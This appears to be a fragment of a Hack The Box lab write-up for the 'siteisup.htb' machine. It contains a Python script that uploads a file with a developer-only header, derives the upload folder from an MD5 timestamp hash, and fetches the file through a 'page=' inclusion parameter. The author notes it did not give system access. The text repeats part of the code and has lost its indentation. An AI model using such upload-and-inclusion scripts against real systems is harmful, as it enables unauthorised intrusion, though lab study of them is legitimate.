I try to automate the upload of a file and its reading by means of 2 scripts but after some time I analyze it and I see that I have no possibility to access the system through this
def def_handler(sig, frame):
print(“\n\n[!]Saliendo….\n”)
sys.exit(1)
value = int(time.time())
md5_hash = hashlib.md5()
md5_hash.update(str(value).encode('utf-8'))
folder = md5_hash.hexdigest()
simple_url = "http://dev.siteisup.htb/index.php?page=./uploads/" + folder + "/" + name
#print(simple_url)
burp0_headers = {"Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Special-Dev": "only4dev"}
response = requests.get(simple_url, headers=burp0_headers)
if (len(response.text) != 78):
print(response.text)
- Upload file
```python
#!/usr/bin/python
import os
import sys
import signal
import time
import hashlib
import string
from pwn import *
import requests
def def_handler(sig, frame):
print("\n\n[!]Saliendo....\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
fileName="targetlist"
def upload_file():
burp0_url = "http://dev.siteisup.htb/"
burp0_headers = {"Content-Type": "multipart/form-data; boundary=---------------------------36499159163642205144645867988", "Origin": "http://dev.siteisup.htb", "Connection": "keep-alive", "Referer": "http://dev.siteisup.htb/", "Upgrade-Insecure-Requests": "1", "Special-Dev": "only4dev"}
burp0_data = "-----------------------------36499159163642205144645867988\r\nContent-Disposition: form-data; name=\"file\"; filename=\"targetlist\"\r\nContent-Type: application/octet-stream\r\n\r\nhttp://10.10.11.177/dev\nhttp://10.10.11.177/\nhttp://10.10.11.177/dev/.git\n\r\n-----------------------------36499159163642205144645867988\r\nContent-Disposition: form-data; name=\"check\"\r\n\r\nCheck\r\n-----------------------------36499159163642205144645867988--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
def simple_get(name):
value = int(time.time())
md5_hash = hashlib.md5()
md5_hash.update(str(value).encode('utf-8'))
folder = md5_hash.hexdigest()
simple_url = "http://dev.siteisup.htb/index.php?page=./uploads/" + folder + "/" + name
#print(simple_url)
burp0_headers = {"Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Special-Dev": "only4dev"}
response = requests.get(simple_url, headers=burp0_headers)
if (len(response.text) != 78):
print(response.text)
def exploit():
#upload_file()
simple_get(fileName)
if __name__ == '__main__':
exploit()